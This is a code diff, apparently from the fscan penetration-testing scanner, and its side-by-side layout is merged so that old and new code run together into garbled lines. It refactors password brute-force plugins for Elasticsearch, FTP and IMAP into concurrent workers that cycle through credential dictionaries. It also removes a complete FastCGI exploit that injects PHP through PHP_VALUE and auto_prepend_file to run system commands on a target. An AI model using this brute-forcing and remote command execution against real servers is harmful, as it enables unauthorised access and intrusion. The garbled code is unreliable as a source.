// 遍历所有用户名密码组合
for _, user := range Common.Userdict["elastic"] {
for _, pass := range Common.Passwords {
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
// 重试循环
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct {
success bool
err error
}, 1)
go func(user, pass string) {
flag, err := ElasticConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{flag, err}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
successMsg := fmt.Sprintf("Elasticsearch服务 %s 爆破成功 用户名: %v 密码: %v",
target, user, pass)
Common.LogSuccess(successMsg)
// 保存弱密码结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "elasticsearch",
"username": user,
"password": pass,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errlog := fmt.Sprintf("Elasticsearch服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v",
target, user, pass, err)
Common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
return tmperr
} }
// ElasticConn 尝试 Elasticsearch 连接 // ElasticScanResult 表示扫描结果
func ElasticConn(info *Common.HostInfo, user string, pass string) (bool, error) { type ElasticScanResult struct {
host, port := info.Host, info.Ports Success bool
timeout := time.Duration(Common.Timeout) * time.Second IsUnauth bool
Error error
Credential ElasticCredential
}
func ElasticScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 首先测试无认证访问
Common.LogDebug("尝试无认证访问...")
unauthResult := tryElasticCredential(ctx, info, ElasticCredential{"", ""}, Common.Timeout, Common.MaxRetries)
if unauthResult.Success {
// 无需认证情况
saveElasticResult(info, target, unauthResult.Credential, true)
return nil
}
// 构建凭据列表
var credentials []ElasticCredential
for _, user := range Common.Userdict["elastic"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, ElasticCredential{
Username: user,
Password: actualPass,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["elastic"]), len(Common.Passwords), len(credentials)))
// 并发扫描
result := concurrentElasticScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveElasticResult(info, target, result.Credential, false)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Elasticsearch扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1是因为尝试了无认证
return nil
}
}
// concurrentElasticScan 并发扫描Elasticsearch服务
func concurrentElasticScan(ctx context.Context, info *Common.HostInfo, credentials []ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *ElasticScanResult, 1)
workChan := make(chan ElasticCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryElasticCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("Elasticsearch并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryElasticCredential 尝试单个Elasticsearch凭据
func tryElasticCredential(ctx context.Context, info *Common.HostInfo, credential ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &ElasticScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
success, err := ElasticConn(ctx, info, credential.Username, credential.Password, timeoutSeconds)
if success {
isUnauth := credential.Username == "" && credential.Password == ""
return &ElasticScanResult{
Success: true,
IsUnauth: isUnauth,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &ElasticScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// ElasticConn 尝试Elasticsearch连接
func ElasticConn(ctx context.Context, info *Common.HostInfo, user string, pass string, timeoutSeconds int64) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(timeoutSeconds) * time.Second
// 创建带有超时的HTTP客户端
client := &http.Client{ client := &http.Client{
Timeout: timeout, Timeout: timeout,
Transport: &http.Transport{ Transport: &http.Transport{
@ -156,7 +217,9 @@ func ElasticConn(info *Common.HostInfo, user string, pass string) (bool, error)
} }
baseURL := fmt.Sprintf("http://%s:%s", host, port) baseURL := fmt.Sprintf("http://%s:%s", host, port)
req, err := http.NewRequest("GET", baseURL+"/_cat/indices", nil)
// 使用上下文创建请求
req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/_cat/indices", nil)
if err != nil { if err != nil {
return false, err return false, err
} }
@ -166,11 +229,78 @@ func ElasticConn(info *Common.HostInfo, user string, pass string) (bool, error)
req.Header.Add("Authorization", "Basic "+auth) req.Header.Add("Authorization", "Basic "+auth)
} }
resp, err := client.Do(req) // 创建结果通道
if err != nil { resultChan := make(chan struct {
return false, err success bool
} err error
defer resp.Body.Close() }, 1)
return resp.StatusCode == 200, nil // 在协程中执行HTTP请求
go func() {
resp, err := client.Do(req)
if err != nil {
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{false, err}:
}
return
}
defer resp.Body.Close()
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
}{resp.StatusCode == 200, nil}:
}
}()
// 等待结果或上下文取消
select {
case result := <-resultChan:
return result.success, result.err
case <-ctx.Done():
return false, ctx.Err()
}
}
// saveElasticResult 保存Elasticsearch扫描结果
func saveElasticResult(info *Common.HostInfo, target string, credential ElasticCredential, isUnauth bool) {
var successMsg string
var details map[string]interface{}
if isUnauth {
successMsg = fmt.Sprintf("Elasticsearch服务 %s 无需认证", target)
details = map[string]interface{}{
"port": info.Ports,
"service": "elasticsearch",
"type": "unauthorized-access",
}
} else {
successMsg = fmt.Sprintf("Elasticsearch服务 %s 爆破成功 用户名: %v 密码: %v",
target, credential.Username, credential.Password)
details = map[string]interface{}{
"port": info.Ports,
"service": "elasticsearch",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
}
}
Common.LogSuccess(successMsg)
// 保存结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(result)
} }

View File

@ -1,146 +1,262 @@
package Plugins package Plugins
import ( import (
"context"
"fmt" "fmt"
"github.com/jlaffaye/ftp" "github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"strings" "strings"
"sync"
"time" "time"
) )
func FtpScan(info *Common.HostInfo) (tmperr error) { // FtpCredential 表示一个FTP凭据
type FtpCredential struct {
Username string
Password string
}
// FtpScanResult 表示FTP扫描结果
type FtpScanResult struct {
Success bool
Error error
Credential FtpCredential
Directories []string
IsAnonymous bool
}
func FtpScan(info *Common.HostInfo) error {
if Common.DisableBrute { if Common.DisableBrute {
return return nil
} }
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 首先尝试匿名登录
Common.LogDebug("尝试匿名登录...") Common.LogDebug("尝试匿名登录...")
anonymousResult := tryFtpCredential(ctx, info, FtpCredential{"anonymous", ""}, Common.Timeout, Common.MaxRetries)
// 尝试匿名登录 if anonymousResult.Success {
for retryCount := 0; retryCount < maxRetries; retryCount++ { // 匿名登录成功
success, dirs, err := FtpConn(info, "anonymous", "") saveFtpResult(info, target, anonymousResult)
if success && err == nil { return nil
Common.LogSuccess("匿名登录成功!")
// 保存匿名登录结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "ftp",
"username": "anonymous",
"password": "",
"type": "anonymous-login",
"directories": dirs,
},
}
Common.SaveResult(result)
return nil
}
errlog := fmt.Sprintf("ftp %s %v", target, err)
Common.LogError(errlog)
break
} }
totalUsers := len(Common.Userdict["ftp"]) // 构建凭据列表
totalPass := len(Common.Passwords) var credentials []FtpCredential
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0
total := totalUsers * totalPass
// 遍历用户名密码组合
for _, user := range Common.Userdict["ftp"] { for _, user := range Common.Userdict["ftp"] {
for _, pass := range Common.Passwords { for _, pass := range Common.Passwords {
tried++ actualPass := strings.Replace(pass, "{user}", user, -1)
pass = strings.Replace(pass, "{user}", user, -1) credentials = append(credentials, FtpCredential{
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass)) Username: user,
Password: actualPass,
})
}
}
var lastErr error Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["ftp"]), len(Common.Passwords), len(credentials)))
// 重试循环 // 使用工作池并发扫描
for retryCount := 0; retryCount < maxRetries; retryCount++ { result := concurrentFtpScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if retryCount > 0 { if result != nil {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass)) // 保存成功结果
} saveFtpResult(info, target, result)
return nil
}
done := make(chan struct { // 检查是否因为全局超时而退出
success bool select {
dirs []string case <-ctx.Done():
err error Common.LogDebug("FTP扫描全局超时")
}, 1) return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名登录
return nil
}
}
go func(user, pass string) { // concurrentFtpScan 并发扫描FTP服务
success, dirs, err := FtpConn(info, user, pass) func concurrentFtpScan(ctx context.Context, info *Common.HostInfo, credentials []FtpCredential, timeoutSeconds int64, maxRetries int) *FtpScanResult {
select { // 使用ModuleThreadNum控制并发数
case done <- struct { maxConcurrent := Common.ModuleThreadNum
success bool if maxConcurrent <= 0 {
dirs []string maxConcurrent = 10 // 默认值
err error }
}{success, dirs, err}: if maxConcurrent > len(credentials) {
default: maxConcurrent = len(credentials)
} }
}(user, pass)
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *FtpScanResult, 1)
workChan := make(chan FtpCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select { select {
case result := <-done: case <-scanCtx.Done():
if result.success && result.err == nil { return
successLog := fmt.Sprintf("FTP服务 %s 成功爆破 用户名: %v 密码: %v", target, user, pass) default:
Common.LogSuccess(successLog) result := tryFtpCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
// 保存爆破成功结果 select {
vulnResult := &Common.ScanResult{ case resultChan <- result:
Time: time.Now(), scanCancel() // 找到有效凭据,取消其他工作
Type: Common.VULN, default:
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "ftp",
"username": user,
"password": pass,
"type": "weak-password",
"directories": result.dirs,
},
} }
Common.SaveResult(vulnResult) return
return nil
} }
lastErr = result.err }
case <-time.After(time.Duration(Common.Timeout) * time.Second): }
lastErr = fmt.Errorf("连接超时") }()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("FTP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryFtpCredential 尝试单个FTP凭据
func tryFtpCredential(ctx context.Context, info *Common.HostInfo, credential FtpCredential, timeoutSeconds int64, maxRetries int) *FtpScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &FtpScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建结果通道
resultChan := make(chan struct {
success bool
directories []string
err error
}, 1)
// 在协程中尝试连接
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
go func() {
defer cancel()
success, dirs, err := FtpConn(info, credential.Username, credential.Password)
select {
case <-connCtx.Done():
case resultChan <- struct {
success bool
directories []string
err error
}{success, dirs, err}:
}
}()
// 等待结果或超时
var success bool
var dirs []string
var err error
select {
case result := <-resultChan:
success = result.success
dirs = result.directories
err = result.err
case <-connCtx.Done():
if ctx.Err() != nil {
// 全局超时
return &FtpScanResult{
Success: false,
Error: ctx.Err(),
Credential: credential,
}
}
// 单个连接超时
err = fmt.Errorf("连接超时")
}
if success {
isAnonymous := credential.Username == "anonymous" && credential.Password == ""
return &FtpScanResult{
Success: true,
Credential: credential,
Directories: dirs,
IsAnonymous: isAnonymous,
}
}
lastErr = err
if err != nil {
// 登录错误不需要重试
if strings.Contains(err.Error(), "Login incorrect") {
break
} }
// 错误处理 // 连接数过多需要等待
if lastErr != nil { if strings.Contains(err.Error(), "too many connections") {
errlog := fmt.Sprintf("FTP服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v", Common.LogDebug("连接数过多等待5秒...")
target, user, pass, lastErr) time.Sleep(5 * time.Second)
Common.LogError(errlog) continue
}
if strings.Contains(lastErr.Error(), "Login incorrect") { // 检查是否需要重试
break if retryErr := Common.CheckErrs(err); retryErr == nil {
} break
if strings.Contains(lastErr.Error(), "too many connections") {
Common.LogDebug("连接数过多等待5秒...")
time.Sleep(5 * time.Second)
if retryCount < maxRetries-1 {
continue
}
}
} }
} }
} }
} }
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried)) return &FtpScanResult{
return tmperr Success: false,
Error: lastErr,
Credential: credential,
}
} }
// FtpConn 建立FTP连接并尝试登录 // FtpConn 建立FTP连接并尝试登录
@ -179,6 +295,47 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (success bool, dir
return true, directories, nil return true, directories, nil
} }
// saveFtpResult 保存FTP扫描结果
func saveFtpResult(info *Common.HostInfo, target string, result *FtpScanResult) {
var successMsg string
var details map[string]interface{}
if result.IsAnonymous {
successMsg = fmt.Sprintf("FTP服务 %s 匿名登录成功!", target)
details = map[string]interface{}{
"port": info.Ports,
"service": "ftp",
"username": "anonymous",
"password": "",
"type": "anonymous-login",
"directories": result.Directories,
}
} else {
successMsg = fmt.Sprintf("FTP服务 %s 成功爆破 用户名: %v 密码: %v",
target, result.Credential.Username, result.Credential.Password)
details = map[string]interface{}{
"port": info.Ports,
"service": "ftp",
"username": result.Credential.Username,
"password": result.Credential.Password,
"type": "weak-password",
"directories": result.Directories,
}
}
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
}
// min 返回两个整数中的较小值 // min 返回两个整数中的较小值
func min(a, b int) int { func min(a, b int) int {
if a < b { if a < b {

View File

@ -1,375 +0,0 @@
package Plugins
import (
"bufio"
"bytes"
"encoding/binary"
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"io"
"strconv"
"strings"
"sync"
"time"
)
//links
//https://xz.aliyun.com/t/9544
//https://github.com/wofeiwo/webcgi-exploits
// FcgiScan 执行FastCGI服务器漏洞扫描
func FcgiScan(info *Common.HostInfo) error {
// 如果设置了暴力破解模式则跳过
if Common.DisableBrute {
return nil
}
// 设置目标URL路径
url := "/etc/issue"
if Common.RemotePath != "" {
url = Common.RemotePath
}
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
// 构造PHP命令注入代码
var reqParams string
var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记
switch {
case Common.Command == "read":
reqParams = "" // 读取模式
case Common.Command != "":
reqParams = fmt.Sprintf("<?php system('%s');die('%s');?>", Common.Command, cutLine) // 自定义命令
default:
reqParams = fmt.Sprintf("<?php system('whoami');die('%s');?>", cutLine) // 默认执行whoami
}
// 设置FastCGI环境变量
env := map[string]string{
"SCRIPT_FILENAME": url,
"DOCUMENT_ROOT": "/",
"SERVER_SOFTWARE": "go / fcgiclient ",
"REMOTE_ADDR": "127.0.0.1",
"SERVER_PROTOCOL": "HTTP/1.1",
}
// 根据请求类型设置对应的环境变量
if len(reqParams) != 0 {
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input"
} else {
env["REQUEST_METHOD"] = "GET"
}
// 建立FastCGI连接
fcgi, err := New(addr, Common.Timeout)
defer func() {
if fcgi.rwc != nil {
fcgi.rwc.Close()
}
}()
if err != nil {
fmt.Printf("FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err)
return err
}
// 发送FastCGI请求
stdout, stderr, err := fcgi.Request(env, reqParams)
if err != nil {
fmt.Printf("FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err)
return err
}
// 处理响应结果
output := string(stdout)
var result string
if strings.Contains(output, cutLine) {
// 命令执行成功,提取输出结果
output = strings.SplitN(output, cutLine, 2)[0]
if len(stderr) > 0 {
result = fmt.Sprintf("FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径例如: -path /www/wwwroot/index.php",
info.Host, info.Ports, output, string(stderr))
} else {
result = fmt.Sprintf("FastCGI漏洞确认 %v:%v\n命令输出:\n%v",
info.Host, info.Ports, output)
}
Common.LogSuccess(result)
} else if strings.Contains(output, "File not found") ||
strings.Contains(output, "Content-type") ||
strings.Contains(output, "Status") {
// 目标存在FastCGI服务但可能路径错误
if len(stderr) > 0 {
result = fmt.Sprintf("FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径例如: -path /www/wwwroot/index.php",
info.Host, info.Ports, output, string(stderr))
} else {
result = fmt.Sprintf("FastCGI服务确认 %v:%v\n响应:\n%v",
info.Host, info.Ports, output)
}
Common.LogSuccess(result)
}
return nil
}
// for padding so we don't have to allocate all the time
// not synchronized because we don't care what the contents are
var pad [maxPad]byte
const (
FCGI_BEGIN_REQUEST uint8 = iota + 1
FCGI_ABORT_REQUEST
FCGI_END_REQUEST
FCGI_PARAMS
FCGI_STDIN
FCGI_STDOUT
FCGI_STDERR
)
const (
FCGI_RESPONDER uint8 = iota + 1
)
const (
maxWrite = 6553500 // maximum record body
maxPad = 255
)
type header struct {
Version uint8
Type uint8
Id uint16
ContentLength uint16
PaddingLength uint8
Reserved uint8
}
func (h *header) init(recType uint8, reqId uint16, contentLength int) {
h.Version = 1
h.Type = recType
h.Id = reqId
h.ContentLength = uint16(contentLength)
h.PaddingLength = uint8(-contentLength & 7)
}
type record struct {
h header
buf [maxWrite + maxPad]byte
}
func (rec *record) read(r io.Reader) (err error) {
if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil {
return err
}
if rec.h.Version != 1 {
return errors.New("fcgi: invalid header version")
}
n := int(rec.h.ContentLength) + int(rec.h.PaddingLength)
if _, err = io.ReadFull(r, rec.buf[:n]); err != nil {
return err
}
return nil
}
func (r *record) content() []byte {
return r.buf[:r.h.ContentLength]
}
type FCGIClient struct {
mutex sync.Mutex
rwc io.ReadWriteCloser
h header
buf bytes.Buffer
keepAlive bool
}
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
fcgi = &FCGIClient{
rwc: conn,
keepAlive: false,
}
return
}
func (c *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
c.mutex.Lock()
defer c.mutex.Unlock()
c.buf.Reset()
c.h.init(recType, reqId, len(content))
if err := binary.Write(&c.buf, binary.BigEndian, c.h); err != nil {
return err
}
if _, err := c.buf.Write(content); err != nil {
return err
}
if _, err := c.buf.Write(pad[:c.h.PaddingLength]); err != nil {
return err
}
_, err = c.rwc.Write(c.buf.Bytes())
return err
}
func (c *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
b := [8]byte{byte(role >> 8), byte(role), flags}
return c.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
}
func (c *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
b := make([]byte, 8)
binary.BigEndian.PutUint32(b, uint32(appStatus))
b[4] = protocolStatus
return c.writeRecord(FCGI_END_REQUEST, reqId, b)
}
func (c *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
w := newWriter(c, recType, reqId)
b := make([]byte, 8)
for k, v := range pairs {
n := encodeSize(b, uint32(len(k)))
n += encodeSize(b[n:], uint32(len(v)))
if _, err := w.Write(b[:n]); err != nil {
return err
}
if _, err := w.WriteString(k); err != nil {
return err
}
if _, err := w.WriteString(v); err != nil {
return err
}
}
w.Close()
return nil
}
func readSize(s []byte) (uint32, int) {
if len(s) == 0 {
return 0, 0
}
size, n := uint32(s[0]), 1
if size&(1<<7) != 0 {
if len(s) < 4 {
return 0, 0
}
n = 4
size = binary.BigEndian.Uint32(s)
size &^= 1 << 31
}
return size, n
}
func readString(s []byte, size uint32) string {
if size > uint32(len(s)) {
return ""
}
return string(s[:size])
}
func encodeSize(b []byte, size uint32) int {
if size > 127 {
size |= 1 << 31
binary.BigEndian.PutUint32(b, size)
return 4
}
b[0] = byte(size)
return 1
}
// bufWriter encapsulates bufio.Writer but also closes the underlying stream when
// Closed.
type bufWriter struct {
closer io.Closer
*bufio.Writer
}
func (w *bufWriter) Close() error {
if err := w.Writer.Flush(); err != nil {
w.closer.Close()
return err
}
return w.closer.Close()
}
func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter {
s := &streamWriter{c: c, recType: recType, reqId: reqId}
w := bufio.NewWriterSize(s, maxWrite)
return &bufWriter{s, w}
}
// streamWriter abstracts out the separation of a stream into discrete records.
// It only writes maxWrite bytes at a time.
type streamWriter struct {
c *FCGIClient
recType uint8
reqId uint16
}
func (w *streamWriter) Write(p []byte) (int, error) {
nn := 0
for len(p) > 0 {
n := len(p)
if n > maxWrite {
n = maxWrite
}
if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil {
return nn, err
}
nn += n
p = p[n:]
}
return nn, nil
}
func (w *streamWriter) Close() error {
// send empty record to close the stream
return w.c.writeRecord(w.recType, w.reqId, nil)
}
func (c *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
var reqId uint16 = 1
defer c.rwc.Close()
err = c.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
if err != nil {
return
}
err = c.writePairs(FCGI_PARAMS, reqId, env)
if err != nil {
return
}
if len(reqStr) > 0 {
err = c.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
if err != nil {
return
}
}
rec := &record{}
var err1 error
// recive untill EOF or FCGI_END_REQUEST
for {
err1 = rec.read(c.rwc)
if err1 != nil {
if err1 != io.EOF {
err = err1
}
break
}
switch {
case rec.h.Type == FCGI_STDOUT:
retout = append(retout, rec.content()...)
case rec.h.Type == FCGI_STDERR:
reterr = append(reterr, rec.content()...)
case rec.h.Type == FCGI_END_REQUEST:
fallthrough
default:
break
}
}
return
}

View File

@ -224,6 +224,6 @@ func read(text []byte, host string) error {
} }
} }
Common.LogSuccess(output.String()) Common.LogInfo(output.String())
return nil return nil
} }

View File

@ -2,134 +2,266 @@ package Plugins
import ( import (
"bufio" "bufio"
"context"
"crypto/tls" "crypto/tls"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"io" "io"
"net" "net"
"strings" "strings"
"sync"
"time" "time"
) )
// IMAPCredential 表示一个IMAP凭据
type IMAPCredential struct {
Username string
Password string
}
// IMAPScanResult 表示IMAP扫描结果
type IMAPScanResult struct {
Success bool
Error error
Credential IMAPCredential
}
// IMAPScan 主扫描函数 // IMAPScan 主扫描函数
func IMAPScan(info *Common.HostInfo) (tmperr error) { func IMAPScan(info *Common.HostInfo) error {
if Common.DisableBrute { if Common.DisableBrute {
return return nil
} }
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
totalUsers := len(Common.Userdict["imap"])
totalPass := len(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
tried := 0 // 设置全局超时上下文
total := totalUsers * totalPass ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 构建凭据列表
var credentials []IMAPCredential
for _, user := range Common.Userdict["imap"] { for _, user := range Common.Userdict["imap"] {
for _, pass := range Common.Passwords { for _, pass := range Common.Passwords {
tried++ actualPass := strings.Replace(pass, "{user}", user, -1)
pass = strings.Replace(pass, "{user}", user, -1) credentials = append(credentials, IMAPCredential{
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass)) Username: user,
Password: actualPass,
})
}
}
for retryCount := 0; retryCount < maxRetries; retryCount++ { Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
if retryCount > 0 { len(Common.Userdict["imap"]), len(Common.Passwords), len(credentials)))
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct { // 并发扫描
success bool result := concurrentIMAPScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
err error if result != nil {
}, 1) // 记录成功结果
saveIMAPResult(info, target, result.Credential)
return nil
}
go func(user, pass string) { // 检查是否因为全局超时而退出
success, err := IMAPConn(info, user, pass) select {
select { case <-ctx.Done():
case done <- struct { Common.LogDebug("IMAP扫描全局超时")
success bool return fmt.Errorf("全局超时")
err error default:
}{success, err}: Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
default: return nil
} }
}(user, pass) }
var err error // concurrentIMAPScan 并发扫描IMAP服务
func concurrentIMAPScan(ctx context.Context, info *Common.HostInfo, credentials []IMAPCredential, timeoutSeconds int64, maxRetries int) *IMAPScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *IMAPScanResult, 1)
workChan := make(chan IMAPCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select { select {
case result := <-done: case <-scanCtx.Done():
err = result.err return
